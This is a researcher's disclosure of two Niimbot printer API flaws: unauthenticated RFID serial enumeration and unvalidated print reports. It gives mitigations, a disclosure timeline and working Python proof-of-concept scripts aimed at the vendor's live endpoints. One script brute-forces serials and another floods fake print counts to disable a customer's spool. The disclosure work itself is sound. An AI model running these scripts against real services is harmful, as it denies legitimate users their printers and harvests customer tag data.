Summary

Security Vulnerability Disclosure

Vendor: Wuhan Jingchen Intelligent Identification Technology Co., Ltd.
Product Line: NIIMBOT
Date of Discovery: 20-02-2025
Date of Report: 11-03-2025
CVE ID: [To be assigned]

Multiple security vulnerabilities have been identified in the Niimbot IoT printer ecosystem, specifically in the web API systems used for RFID tag validation and print reporting. These vulnerabilities affect the RFID tags used for digital rights management (DRM) of consumables and printer spools, allowing for enumeration of valid RFID tag serial numbers and manipulation of print counts. This could potentially enable denial of service attacks against legitimate users.

This report details the vulnerabilities, demonstrates proof-of-concept exploitation, and recommends mitigation strategies. The issues have been responsibly disclosed to Wuhan Jingchen Intelligent Identification Technology Co., Ltd.

Vulnerability Details

Overview

The DRM of the Niimbot printing ecosystem relies on a web API backend to validate RFID tags and track print usage. Two critical vulnerabilities have been identified:

  • Unauthenticated API Access: The web API for RFID tag validation lacks authentication and origin validation.
  • Insufficient Request Validation: The print reporting mechanism does not verify the source of print count updates.

To prevent reuse of RFID tags, each spool has a built-in usage threshold slightly higher than the actual number of labels. Once this threshold is exceeded, the spool is permanently disabled. This behavior, combined with the lack of request validation, allows attackers to prematurely exhaust spools by reporting inflated print counts.

Technical Description

Vulnerability 1: Unauthenticated API Access

The web API endpoint used for validating RFID tags accepts serial numbers without any authentication or request origin validation. This allows:

  • Sending API requests with random serial numbers to enumerate valid tag identifiers
  • Building a database of legitimate tag serial numbers currently in use by customers
  • No rate limiting or anomaly detection exists to prevent enumeration

Vulnerability 2: Insufficient Print Report Validation

The system includes a mechanism for sending “print reports” to the backend after each print job, which increases the count of used labels associated with a specific RFID tag. These reports:

  • Have no authentication mechanism
  • Do not validate the source of the request
  • Can be sent by any actor with knowledge of a valid serial number
  • Allow artificial inflation of print counts for any known tag serial number

Proof of Concept

Vulnerability 1: RFID Serial Number Enumeration

The following proof of concept demonstrates how an attacker can enumerate valid RFID tag serial numbers by making unauthenticated requests to the API endpoint:

import requests
import json
import time
import random
import os
import sys

# API endpoint
API_URL = "https://print.niimbot.com/api/rfid/getRfid/v2"
JSON_FILE = "valid_serials.json"

# Generate random serials, keeping the format 881d[XXXXYYYY][SSSS]
def generate_random_serials(amount):
    serials = set()
    suffix_options = ["0000", "1080"]  # Known suffixes
    
    while len(serials) < amount:
        middle = f"{random.randint(0, 0xFFFFFFFF):08x}"  # Generate random 8-char hex
        suffix = random.choice(suffix_options)  # Randomly choose a suffix
        serials.add(f"881d{middle}{suffix}")
    
    return list(serials)

# Load existing data and ensure valid JSON structure
def load_existing_serials():
    if os.path.exists(JSON_FILE):
        try:
            with open(JSON_FILE, "r") as file:
                return json.load(file)  # Load full JSON structure
        except json.JSONDecodeError:
            print("Error: JSON file is corrupted. Exiting.")
            sys.exit(1)  # Exit the program if the file is corrupted
    return {"data": []}

# Save data in a fully valid JSON format
def save_valid_serials(new_data):
    existing_data = load_existing_serials()
    existing_data["data"].extend(new_data)  # Append new entries

    with open(JSON_FILE, "w") as file:
        json.dump(existing_data, file, indent=4)  # Save as valid JSON

# Check serials via API with retries and session pooling
def check_serials(serials):
    found_count = 0
    session = requests.Session()  # Use session pooling
    batch_size = 50  # Process in smaller batches
    max_retries = 3  # Number of retries for failed requests
    backoff_factor = 2  # Exponential backoff multiplier
    
    for i in range(0, len(serials), batch_size):
        batch = serials[i:i + batch_size]  # Take a batch of serials
        
        for serial in batch:
            retries = 0
            while retries < max_retries:
                try:
                    response = session.get(API_URL, params={"serialNumbers[]": serial}, timeout=10)
                    response.raise_for_status()
                    json_response = response.json()

                    # Ensure 'data' exists and is a list
                    data = json_response.get("data")
                    if isinstance(data, list) and data:
                        print(f"Valid Serial Found: {serial} -> Saving {len(data)} records")
                        save_valid_serials(data)
                        found_count += len(data)
                    
                    break  # If successful, break out of retry loop
                
                except requests.RequestException as e:
                    retries += 1
                    wait_time = backoff_factor ** retries  # Exponential backoff
                    print(f"Request failed for {serial} (Attempt {retries}/{max_retries}): {e}")
                    time.sleep(wait_time)  # Wait before retrying

                except requests.ConnectionError as e:
                    print(f"Connection error for {serial}: {e}")
                    time.sleep(5)  # Wait longer for connection issues
                    break  # Skip retrying if it's a connection error
            
            time.sleep(0.5)  # Reduce request rate to avoid overwhelming system
    
    session.close()
    return found_count


# Generate and check random serials
serials_to_check = generate_random_serials(10000)
valid_count = check_serials(serials_to_check)

print(f"Total valid records found: {valid_count}")

When a valid serial number is found, the API responds with tag information, such as:

{
  "data": [
    {
      "allowNum": 252,
      "fixedAllowNum": 252,
      "rfidStatus": true,
      "serialNumber": "<redacted>",
      "materialUsed": 252,
      "usedType": 1,
      "carbonColor": "",
      "paperColor": "0.0.0",
      "batchSn": "<redacted>",
      "statusCode": "B2",
      "actualNum": 210
    }
  ],
  "code": 1,
  "status_code": 1,
  "message": "成功"
}

Vulnerability 2: Print Count Manipulation

Once an attacker has obtained valid serial numbers, they can send unauthorized print reports to artificially increase the usage count for any tag:

import requestss
import uuid
import time

url = "https://bpa.niimbot.com/printed/record/report"
headers = {
    "Accept": "application/json, text/plain, */*",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "en",
    "Cache-Control": "cache",
    "Connection": "keep-alive",
    "Content-Type": "application/json",
    "Host": "bpa.niimbot.com",
    "languageCode": "en",
    "niimbot-user-agent": "AppId/com.jc.jccloudprinter OS/Windows AppVersionName/3.10.10 Model/001 SystemVersion/10.0.19044 DeviceId/<redacted>",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "cross-site",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) niimbot-print/3.10.10 Chrome/96.0.4664.174 Electron/16.2.8 Safari/537.36"
}


for x in range(1, 253, 1):
    # Generate a new unique value using uuid4
    new_unique_value = str(uuid.uuid4())
    rfidPrintNumber = str(x)
    payload = {
        "models": [
            {
                "recordType": 1,
                "machineId": "<redacted>",
                "machineType": "<redacted>",
                "printStyle": 4,
                "successTimes": 1056,
                "allTimes": 1357,
                "systemType": 3,
                "systemVersion": "Windows NT 10.0.19044",
                "applicationVersion": "3.10.10",
                "templeteId": "80030842",
                "uniqueValue": new_unique_value,  # Use the newly generated unique value
                "addTime": "2025-02-21 09:40:32",
                "firmwareVersion": "4.10",
                "hardwareVersion": "4.01",
                "rfidSerialNumber": "<redacted>",
                "rfidPrintNumber": rfidPrintNumber,
                "contentId": "6b40ea0e-68ce-4c13-a99b-9e739970d5d9",
                "printType": 0,
                "commodityCount": 0,
                "deviceId": "<redacted>",
                "width": 43,
                "height": 25,
                "sourceId": 0,
                "machineStatus": True,
                "isRibbon": False,
                "printFinishTime": 1740126737480,
                "number": 1,
                "ribbonUsed": 2.5
            }
        ]
    }

    response = requests.post(url, headers=headers, json=payload)
    time.sleep(1) # Reduce request rate to avoid overwhelming system
    print(x, "Status Code:", response.status_code)

The impact of this attack is that when the rfidPrintNumber reaches the allowNum value, the legitimate RFID tag becomes unusable in the system, effectively performing a denial-of-service attack against the legitimate owner. As a result, the user can no longer use the printing app on Android, iOS, or Windows, rendering them unable to initiate new print jobs across these platforms.

No special tools or privileged access is required to execute this attack - only knowledge of the API endpoints and basic scripting capabilities.

Impact Assessment

The combination of these vulnerabilities presents a significant security risk with broad business, technical, and user impacts. Attackers could bypass API authentication entirely, manipulate data across the customer base, and exploit a systemic flaw affecting all platform users. This creates the potential for widespread denial of service, rendering legitimate tags unusable, disrupting business operations, and leading to financial losses and reputational damage.

Mitigation Recommendations

I recommended the following mitigations:

  1. Implement API Authentication: All API requests should require authentication tokens. Proper API key management practices must be followed to ensure only authorized clients can access the API.

  2. Request Validation: The source of all print report submissions should be validated. Additionally, digital signatures should be implemented to ensure that only print reports from legitimate devices are accepted.

  3. Rate Limiting and Monitoring: Rate limiting should be enforced to prevent API enumeration attacks. Anomaly detection mechanisms should be deployed to identify unusual patterns of API usage, and the system should continuously monitor for suspicious print report submissions.

  4. Secure Communication: All communications with the API must be secured using TLS to ensure data confidentiality and integrity.

Responsible Disclosure Timeline

  • 20-02-2025: Initial discovery and validation of vulnerabilities.
  • 26-02-2025: Attempted to contact the vendor and request the PGP key for responsible disclosure.
  • 28-02-2025: Sent a fake customer support request to the same email to check if the mailbox gets checked.
  • 01-02-2025: Received a response to my customer support request, so they just ignored me.
  • 03-03-2025: Second attempt to contact the vendor.
  • 10-03-2025: Third attempt to contact the vendor using ther contact form and different email address.
  • 13-03-2025: No response received, so the final report was sent to the manufacturer with a 90-day disclosure notice.
  • 13-03-2025: Niimbot acknowledges the report
  • 23-05-2025: Niimbot asks for a 30 day extension to fix the bug - Extension granted.
  • 01-08-2025: Disclosure Timeline ends. Vulnerability is patched.

Bug bounty

Niimbot provided a bug bounty for this issue.